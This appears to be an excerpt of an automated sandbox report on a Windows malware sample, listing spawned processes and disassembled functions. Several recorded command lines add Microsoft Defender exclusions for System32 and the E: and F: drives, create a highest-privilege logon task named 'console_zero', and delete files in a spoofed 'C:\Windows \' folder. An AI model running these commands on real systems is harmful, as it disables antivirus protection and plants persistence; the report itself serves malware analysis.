Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	35
Start time:	10:20:05
Start date:	20/12/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks /create /tn "console_zero" /sc ONLOGON /tr "C:\Windows\System32\console_zero.exe" /rl HIGHEST /f
Imagebase:	0x7ff63ed60000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	36
Start time:	10:20:05
Start date:	20/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd.exe /c timeout /t 14 /nobreak && rmdir /s /q "C:\Windows \"
Imagebase:	0x7ff6763a0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	37
Start time:	10:20:05
Start date:	20/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd.exe /c timeout /t 16 /nobreak && del /q "C:\Windows \System32\printui.dll"
Imagebase:	0x7ff6763a0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	38
Start time:	10:20:05
Start date:	20/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6ee680000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	39
Start time:	10:20:05
Start date:	20/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6ee680000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	40
Start time:	10:20:05
Start date:	20/12/2024
Path:	C:\Windows\System32\timeout.exe
Wow64 process (32bit):	false
Commandline:	timeout /t 14 /nobreak
Imagebase:	0x7ff63c990000
File size:	32'768 bytes
MD5 hash:	100065E21CFBBDE57CBA2838921F84D6
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	41
Start time:	10:20:05
Start date:	20/12/2024
Path:	C:\Windows\System32\timeout.exe
Wow64 process (32bit):	false
Commandline:	timeout /t 16 /nobreak
Imagebase:	0x7ff63c990000
File size:	32'768 bytes
MD5 hash:	100065E21CFBBDE57CBA2838921F84D6
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	42
Start time:	10:20:06
Start date:	20/12/2024
Path:	C:\Windows\System32\console_zero.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\console_zero.exe
Imagebase:	0x7ff70f270000
File size:	664'576 bytes
MD5 hash:	4ECCB8F5D1EDCF18A11ABED91FF85C46
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	43
Start time:	10:20:06
Start date:	20/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd.exe /c schtasks /create /tn "console_zero" /sc ONLOGON /tr "C:\Windows\System32\console_zero.exe" /rl HIGHEST /f
Imagebase:	0x7ff6763a0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: conhost.exePID: 5540, Parent PID: 6756

General

Target ID:	44
Start time:	10:20:06
Start date:	20/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6ee680000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	45
Start time:	10:20:06
Start date:	20/12/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks /create /tn "console_zero" /sc ONLOGON /tr "C:\Windows\System32\console_zero.exe" /rl HIGHEST /f
Imagebase:	0x7ff63ed60000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	46
Start time:	10:20:07
Start date:	20/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd.exe /c powershell -Command Add-MpPreference -ExclusionPath 'C:\Windows \System32'
Imagebase:	0x7ff6763a0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	47
Start time:	10:20:07
Start date:	20/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6ee680000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	48
Start time:	10:20:07
Start date:	20/12/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell -Command Add-MpPreference -ExclusionPath 'C:\Windows \System32'
Imagebase:	0x7ff6cb6b0000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	49
Start time:	10:20:10
Start date:	20/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd.exe /c powershell -Command Add-MpPreference -ExclusionPath 'E:\'
Imagebase:	0x7ff6763a0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	50
Start time:	10:20:10
Start date:	20/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6ee680000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	51
Start time:	10:20:10
Start date:	20/12/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell -Command Add-MpPreference -ExclusionPath 'E:\'
Imagebase:	0x7ff6cb6b0000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	52
Start time:	10:20:13
Start date:	20/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd.exe /c powershell -Command Add-MpPreference -ExclusionPath 'F:\'
Imagebase:	0x7ff6763a0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	53
Start time:	10:20:13
Start date:	20/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6ee680000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	54
Start time:	10:20:13
Start date:	20/12/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell -Command Add-MpPreference -ExclusionPath 'F:\'
Imagebase:	0x7ff6cb6b0000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	56
Start time:	10:20:20
Start date:	20/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6ee680000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Function 00007FF783AC6F94 Relevance: 6.0, APIs: 4, Instructions: 39timethreadCOMMON

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32 ref: 00007FF783AC6FC0
GetCurrentThreadId.KERNEL32 ref: 00007FF783AC6FCE
GetCurrentProcessId.KERNEL32 ref: 00007FF783AC6FDA
QueryPerformanceCounter.KERNEL32 ref: 00007FF783AC6FEA

Memory Dump Source

Source File: 00000000.00000002.1701104182.00007FF783AA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF783AA0000, based on PE: true

Associated: 00000000.00000002.1701083040.00007FF783AA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701148213.00007FF783AE2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701148213.00007FF7844E2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702273266.00007FF784898000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702404346.00007FF78489B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff783aa0000_58VSNPxrI4.jbxd

Similarity

API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 2933794660-0
Opcode ID: c11a42863fb02dfb8797a2c878325fc12a919f5be676ba5f29d2ddb3a51f65d9
Instruction ID: 2ccc9f0c3555c2dfcd7bd788613d70e7ccafd3b740d098e34dfe7b7e991ec160
Opcode Fuzzy Hash: c11a42863fb02dfb8797a2c878325fc12a919f5be676ba5f29d2ddb3a51f65d9
Instruction Fuzzy Hash: 49117336B14F0689EB40EF64EC542B873A4F719758F840E35EA6D82764DF78D164C350

Analysis Process: printui.exePID: 3580, Parent PID: 3032COMMON

Execution Graph

Execution Coverage:	34.4%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	34.2%
Total number of Nodes:	73
Total number of Limit Nodes:	2

Callgraph

Executed
Not Executed
Opacity -> Relevance
Disassembly available

Executed Functions

Function 00007FF616B110E0 Relevance: 49.2, APIs: 23, Strings: 5, Instructions: 195
registrylibrarymemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

HeapSetInformation.KERNEL32 ref: 00007FF616B11111
LoadCursorW.USER32 ref: 00007FF616B1113E
GetStockObject.GDI32 ref: 00007FF616B11150
RegisterClassW.USER32 ref: 00007FF616B1116F
CreateWindowExW.USER32 ref: 00007FF616B111B9
RegCreateKeyExW.KERNELBASE ref: 00007FF616B111FE
RegQueryValueExW.KERNELBASE ref: 00007FF616B11242
RegDeleteValueW.ADVAPI32 ref: 00007FF616B1126E
RegSetValueExW.KERNELBASE ref: 00007FF616B112A6
RegCloseKey.KERNELBASE ref: 00007FF616B112B6
GetLastError.KERNEL32 ref: 00007FF616B112C4
LoadLibraryExW.KERNELBASE ref: 00007FF616B112D7
GetLastError.KERNEL32 ref: 00007FF616B112EB
GetProcAddress.KERNEL32 ref: 00007FF616B11305
GetLastError.KERNEL32 ref: 00007FF616B11319
GetCommandLineW.KERNEL32 ref: 00007FF616B11327
FreeLibrary.KERNELBASE ref: 00007FF616B11355
RegOpenKeyExW.KERNELBASE ref: 00007FF616B11384
RegQueryValueExW.KERNELBASE ref: 00007FF616B113BF
RegCloseKey.KERNELBASE ref: 00007FF616B113CF
RegDeleteKeyExW.KERNELBASE ref: 00007FF616B113EB
GetLastError.KERNEL32 ref: 00007FF616B113F9
DestroyWindow.USER32 ref: 00007FF616B1140D

Strings

Software\Microsoft\Windows\CurrentVersion\PrinterInstallation, xrefs: 00007FF616B111CB, 00007FF616B1137A, 00007FF616B113DE
printui.dll, xrefs: 00007FF616B112D0
UIEntry, xrefs: 00007FF616B1120A, 00007FF616B113B8
PrintUIEntryW, xrefs: 00007FF616B112FB
StubPrintWindow, xrefs: 00007FF616B1115C

Memory Dump Source

Source File: 0000000D.00000002.1759120025.00007FF616B11000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF616B10000, based on PE: true

Associated: 0000000D.00000002.1759094187.00007FF616B10000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1759138370.00007FF616B12000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1759168982.00007FF616B14000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff616b10000_printui.jbxd

Similarity

API ID: ErrorLastValue$CloseCreateDeleteLibraryLoadQueryWindow$AddressClassCommandCursorDestroyFreeHeapInformationLineObjectOpenProcRegisterStock
String ID: PrintUIEntryW$Software\Microsoft\Windows\CurrentVersion\PrinterInstallation$StubPrintWindow$UIEntry$printui.dll
API String ID: 2613610799-4035671587
Opcode ID: e89becaa4b4c2da40ab99fedc63f44ed43bcaaa6e32622ee94d5cb7eade183ba
Instruction ID: 92632fab1c78ccaf58f9e7bbf5aafcbf2a168d4c17c74ffcd062a01cc0cebaa1
Opcode Fuzzy Hash: e89becaa4b4c2da40ab99fedc63f44ed43bcaaa6e32622ee94d5cb7eade183ba
Instruction Fuzzy Hash: BFA12B76A18E42DAEB208B50F4447ADBBB0FB4AB69F419131DE0E82B54DF3ED1658740

Function 00007FF616B11570 Relevance: 10.6, APIs: 7, Instructions: 143
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetStartupInfoW.KERNEL32 ref: 00007FF616B11598
Sleep.KERNEL32 ref: 00007FF616B115CF
_amsg_exit.MSVCRT ref: 00007FF616B115ED
_initterm.MSVCRT ref: 00007FF616B11678
_IsNonwritableInCurrentImage.LIBCMT ref: 00007FF616B116A5
exit.MSVCRT ref: 00007FF616B1174A
_cexit.MSVCRT ref: 00007FF616B11759

Memory Dump Source

Source File: 0000000D.00000002.1759120025.00007FF616B11000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF616B10000, based on PE: true

Associated: 0000000D.00000002.1759094187.00007FF616B10000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1759138370.00007FF616B12000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1759168982.00007FF616B14000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff616b10000_printui.jbxd

Similarity

API ID: CurrentImageInfoNonwritableSleepStartup_amsg_exit_cexit_inittermexit
String ID:
API String ID: 642454821-0
Opcode ID: d036f23a73c2ceeb0dc0bbf8eea258f05a7f4c7e4edc28ade6a86160fbf4be78
Instruction ID: 5febd5241c552f3a7992fc33f1c345ebab1a3a09df9192a3ff2177dd4cbde0a5
Opcode Fuzzy Hash: d036f23a73c2ceeb0dc0bbf8eea258f05a7f4c7e4edc28ade6a86160fbf4be78
Instruction Fuzzy Hash: 5D614779A09E06A6EB708F11F54023972B5BB46FA1F144136DA4DD33A4EF3FE8A18700

Function 00007FF616B11520 Relevance: 1.5, APIs: 1, Instructions: 13
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__wgetmainargs.KERNELBASE ref: 00007FF616B11558

Memory Dump Source

Source File: 0000000D.00000002.1759120025.00007FF616B11000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF616B10000, based on PE: true

Associated: 0000000D.00000002.1759094187.00007FF616B10000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1759138370.00007FF616B12000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1759168982.00007FF616B14000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff616b10000_printui.jbxd

Similarity

API ID: __wgetmainargs
String ID:
API String ID: 1709950718-0
Opcode ID: fb17b9cf0bb6e0d9112bc9002bd240893ebb992b9e28e092c31673401121c9b0
Instruction ID: 21be6137b4dcd520ab08a6df469c57035f0ae8e9405490271fe5336dfc8d6483
Opcode Fuzzy Hash: fb17b9cf0bb6e0d9112bc9002bd240893ebb992b9e28e092c31673401121c9b0
Instruction Fuzzy Hash: 29E0597CD0AE47B5EA21CB50B84866437F0BB06B64B804031C50D92220EE3EA269CB44

Non-executed Functions

Function 00007FF616B11B5C Relevance: 4.5, APIs: 3, Instructions: 13
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetUnhandledExceptionFilter.KERNEL32 ref: 00007FF616B11B67
UnhandledExceptionFilter.KERNEL32 ref: 00007FF616B11B70
GetCurrentProcess.KERNEL32 ref: 00007FF616B11B76

Memory Dump Source

Source File: 0000000D.00000002.1759120025.00007FF616B11000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF616B10000, based on PE: true

Associated: 0000000D.00000002.1759094187.00007FF616B10000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1759138370.00007FF616B12000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1759168982.00007FF616B14000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff616b10000_printui.jbxd

Similarity

API ID: ExceptionFilterUnhandled$CurrentProcess
String ID:
API String ID: 1249254920-0
Opcode ID: 67a69430592ab0ed5dfc45027a236bc3dcce14c44e9d99ca36710f20fe33c88e
Instruction ID: 7d98d514236d36a9441bcb3766635a53f685d4851f77a2758407d8f31cd251ff
Opcode Fuzzy Hash: 67a69430592ab0ed5dfc45027a236bc3dcce14c44e9d99ca36710f20fe33c88e
Instruction Fuzzy Hash: A2D09E99A08D1696E7289762FC150351230AB5AF55B059034CF1A85360DD3F58F94200

Function 00007FF616B11880 Relevance: 1.5, APIs: 1, Instructions: 6
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetUnhandledExceptionFilter.KERNEL32 ref: 00007FF616B1188B

Memory Dump Source

Source File: 0000000D.00000002.1759120025.00007FF616B11000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF616B10000, based on PE: true

Associated: 0000000D.00000002.1759094187.00007FF616B10000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1759138370.00007FF616B12000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1759168982.00007FF616B14000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff616b10000_printui.jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: 485700f28bb7499bc39e10582eb089dbe9317f5a288f74151dbe7ec09ee2bb63
Instruction ID: 11ba83405db1681b2eb4ca7a60033f5972ad43ef4c1e363a06e256c334a4a5d1
Opcode Fuzzy Hash: 485700f28bb7499bc39e10582eb089dbe9317f5a288f74151dbe7ec09ee2bb63
Instruction Fuzzy Hash: 81B09218E25802E2D614AB22EC950A112B07B5AB21FC04430C10DC1220DE2E91BB8700

Function 00007FF616B11A54 Relevance: 9.0, APIs: 6, Instructions: 49
timethreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemTimeAsFileTime.KERNEL32 ref: 00007FF616B11A84
GetCurrentProcessId.KERNEL32 ref: 00007FF616B11A92
GetCurrentThreadId.KERNEL32 ref: 00007FF616B11A9E
GetTickCount.KERNEL32 ref: 00007FF616B11AAA
GetTickCount.KERNEL32 ref: 00007FF616B11ABA
QueryPerformanceCounter.KERNEL32 ref: 00007FF616B11AD5

Memory Dump Source

Source File: 0000000D.00000002.1759120025.00007FF616B11000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF616B10000, based on PE: true

Associated: 0000000D.00000002.1759094187.00007FF616B10000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1759138370.00007FF616B12000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000D.00000002.1759168982.00007FF616B14000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff616b10000_printui.jbxd

Similarity

API ID: CountCurrentTickTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 4104442557-0
Opcode ID: 620f975a63dfef7962d64ab17e7f439f8fad081d60c42cdb74dd755226332b19
Instruction ID: d45dfba2f5c4d29e28420edf9a9e5003ad3fff386be4cf37172a538c2841b5ef
Opcode Fuzzy Hash: 620f975a63dfef7962d64ab17e7f439f8fad081d60c42cdb74dd755226332b19
Instruction Fuzzy Hash: A7111F2A605F419AEB20DF60F85426933B4FB49B68F400A35EA6D87754EF7DD6B48340

Analysis Process: svchost.exePID: 6848, Parent PID: 624COMMON

Execution Graph

Execution Coverage:	2.3%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	13.7%
Total number of Nodes:	1311
Total number of Limit Nodes:	116

Executed Functions

Function 00007FFBAB4242D0 Relevance: 79.1, APIs: 43, Strings: 2, Instructions: 322
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ERR_new.LIBCRYPTO-3-X64 ref: 00007FFBAB424320
ERR_set_debug.LIBCRYPTO-3-X64 ref: 00007FFBAB424338
ERR_set_error.LIBCRYPTO-3-X64 ref: 00007FFBAB424349
ERR_new.LIBCRYPTO-3-X64 ref: 00007FFBAB42437C
ERR_set_debug.LIBCRYPTO-3-X64 ref: 00007FFBAB424394
ERR_set_error.LIBCRYPTO-3-X64 ref: 00007FFBAB42486E

Strings

SSL_CTX_new_ex, xrefs: 00007FFBAB424325, 00007FFBAB424381, 00007FFBAB4243EB, 00007FFBAB4244E2, 00007FFBAB42451B, 00007FFBAB424553, 00007FFBAB4247CD, 00007FFBAB42484A
ssl\ssl_lib.c, xrefs: 00007FFBAB424331, 00007FFBAB42438D, 00007FFBAB4243A9, 00007FFBAB4243F2, 00007FFBAB424416, 00007FFBAB4244E9, 00007FFBAB424527, 00007FFBAB42455A, 00007FFBAB424701, 00007FFBAB4247D9, 00007FFBAB424856

Memory Dump Source

Source File: 0000001A.00000002.2848364720.00007FFBAB411000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFBAB410000, based on PE: true

Associated: 0000001A.00000002.2848344421.00007FFBAB410000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848455209.00007FFBAB4A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848516112.00007FFBAB4CD000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848538462.00007FFBAB4D1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffbab410000_svchost.jbxd

Similarity

API ID: R_newR_set_debugR_set_error
String ID: SSL_CTX_new_ex$ssl\ssl_lib.c
API String ID: 1552677711-2988157636
Opcode ID: e9777b34945a6ee12517b1d0900e39796eb2601d2fed10fadf22a14d78122077
Instruction ID: 55151855714dcd1d97cb480d6770e669926a02b9b5ad4ce16a6ff9896d5aa7d2
Opcode Fuzzy Hash: e9777b34945a6ee12517b1d0900e39796eb2601d2fed10fadf22a14d78122077
Instruction Fuzzy Hash: 8CE15CA1A0FA8381FB62AB72D4923F92291EF44784F44C035DE6D466EAEE3CE5459311

Function 00007FFBAB420EB0 Relevance: 65.1, APIs: 23, Strings: 14, Instructions: 313
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

EVP_MD_get_size.LIBCRYPTO-3-X64 ref: 00007FFBAB420F68
ERR_set_mark.LIBCRYPTO-3-X64 ref: 00007FFBAB420F92
EVP_SIGNATURE_fetch.LIBCRYPTO-3-X64 ref: 00007FFBAB420FA8
EVP_KEYEXCH_fetch.LIBCRYPTO-3-X64 ref: 00007FFBAB420FD4
EVP_KEYEXCH_fetch.LIBCRYPTO-3-X64 ref: 00007FFBAB421003
EVP_KEYEXCH_free.LIBCRYPTO-3-X64 ref: 00007FFBAB42101C
EVP_SIGNATURE_fetch.LIBCRYPTO-3-X64 ref: 00007FFBAB421032
EVP_SIGNATURE_free.LIBCRYPTO-3-X64 ref: 00007FFBAB421048
ERR_pop_to_mark.LIBCRYPTO-3-X64 ref: 00007FFBAB42104D
EVP_PKEY_asn1_find_str.LIBCRYPTO-3-X64 ref: 00007FFBAB4210A5
EVP_PKEY_asn1_get0_info.LIBCRYPTO-3-X64 ref: 00007FFBAB4210C5
EVP_PKEY_asn1_find_str.LIBCRYPTO-3-X64 ref: 00007FFBAB421115

Part of subcall function 00007FFBAB42EE40: ERR_set_mark.LIBCRYPTO-3-X64(?,00007FFBAB41F901,?,?,?,?,?,00007FFBAB417023), ref: 00007FFBAB42EE6C
Part of subcall function 00007FFBAB42EE40: OBJ_nid2sn.LIBCRYPTO-3-X64(?,00007FFBAB41F901,?,?,?,?,?,00007FFBAB417023), ref: 00007FFBAB42EE73
Part of subcall function 00007FFBAB42EE40: EVP_CIPHER_fetch.LIBCRYPTO-3-X64(?,00007FFBAB41F901,?,?,?,?,?,00007FFBAB417023), ref: 00007FFBAB42EE81
Part of subcall function 00007FFBAB42EE40: ERR_pop_to_mark.LIBCRYPTO-3-X64(?,00007FFBAB41F901,?,?,?,?,?,00007FFBAB417023), ref: 00007FFBAB42EE89

EVP_PKEY_asn1_get0_info.LIBCRYPTO-3-X64 ref: 00007FFBAB421135
EVP_PKEY_asn1_find_str.LIBCRYPTO-3-X64 ref: 00007FFBAB421188
EVP_PKEY_asn1_get0_info.LIBCRYPTO-3-X64 ref: 00007FFBAB4211A8
EVP_PKEY_asn1_find_str.LIBCRYPTO-3-X64 ref: 00007FFBAB4211FB
EVP_PKEY_asn1_get0_info.LIBCRYPTO-3-X64 ref: 00007FFBAB42121B
EVP_PKEY_asn1_find_str.LIBCRYPTO-3-X64 ref: 00007FFBAB42126E
EVP_PKEY_asn1_get0_info.LIBCRYPTO-3-X64 ref: 00007FFBAB42128E
EVP_PKEY_asn1_find_str.LIBCRYPTO-3-X64 ref: 00007FFBAB4212CD
EVP_PKEY_asn1_get0_info.LIBCRYPTO-3-X64 ref: 00007FFBAB4212ED
EVP_PKEY_asn1_find_str.LIBCRYPTO-3-X64 ref: 00007FFBAB42132C
EVP_PKEY_asn1_get0_info.LIBCRYPTO-3-X64 ref: 00007FFBAB42134C

Strings

, xrefs: 00007FFBAB4211CB
gost2012_512, xrefs: 00007FFBAB42131D
, xrefs: 00007FFBAB421158
, xrefs: 00007FFBAB42123E
, xrefs: 00007FFBAB4210E8
magma-mac, xrefs: 00007FFBAB421179
DSA, xrefs: 00007FFBAB420F9E
ECDH, xrefs: 00007FFBAB420FF9
ECDSA, xrefs: 00007FFBAB421028
gost2001, xrefs: 00007FFBAB42125F
gost-mac, xrefs: 00007FFBAB421063
gost2012_256, xrefs: 00007FFBAB4212BE
kuznyechik-mac, xrefs: 00007FFBAB4211EC
gost-mac-12, xrefs: 00007FFBAB421106

Memory Dump Source

Source File: 0000001A.00000002.2848364720.00007FFBAB411000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFBAB410000, based on PE: true

Associated: 0000001A.00000002.2848344421.00007FFBAB410000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848455209.00007FFBAB4A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848516112.00007FFBAB4CD000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848538462.00007FFBAB4D1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffbab410000_svchost.jbxd

Similarity

API ID: Y_asn1_find_strY_asn1_get0_info$E_fetchH_fetchR_pop_to_markR_set_mark$D_get_sizeE_freeH_freeJ_nid2snR_fetch
String ID: $ $ $ $DSA$ECDH$ECDSA$gost-mac$gost-mac-12$gost2001$gost2012_256$gost2012_512$kuznyechik-mac$magma-mac
API String ID: 2321393641-365409564
Opcode ID: 268b19889cf02bf0f91517eb74db770bd30f83b64ba60b829bfd315cebd91123
